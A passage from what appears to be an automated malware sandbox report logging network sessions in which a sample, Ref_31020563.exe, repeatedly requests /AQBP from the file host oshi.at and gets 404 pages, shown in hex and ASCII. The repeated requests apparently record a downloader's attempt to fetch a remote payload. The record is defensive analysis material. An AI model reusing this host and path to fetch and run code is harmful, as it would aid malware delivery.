65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49729	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:06 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:07 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:07 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:07 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49730	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:09 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:10 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:10 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:10 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49731	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:12 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:13 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:12 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:13 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49732	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:15 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:16 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:15 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:16 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49733	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:18 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:19 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:18 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:19 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49735	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:21 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:21 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:21 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:21 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49736	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:23 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:24 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:24 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:24 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49737	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:26 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:27 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:27 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:27 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49738	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:29 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:30 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:30 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:30 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49739	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:32 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:33 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:33 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:33 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49740	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:35 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:36 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:36 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:36 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49741	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:38 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:39 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:38 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:39 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49742	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:41 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:42 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:41 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:42 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49743	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:44 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:45 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:44 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:45 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49744	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:47 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:47 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:47 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:47 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

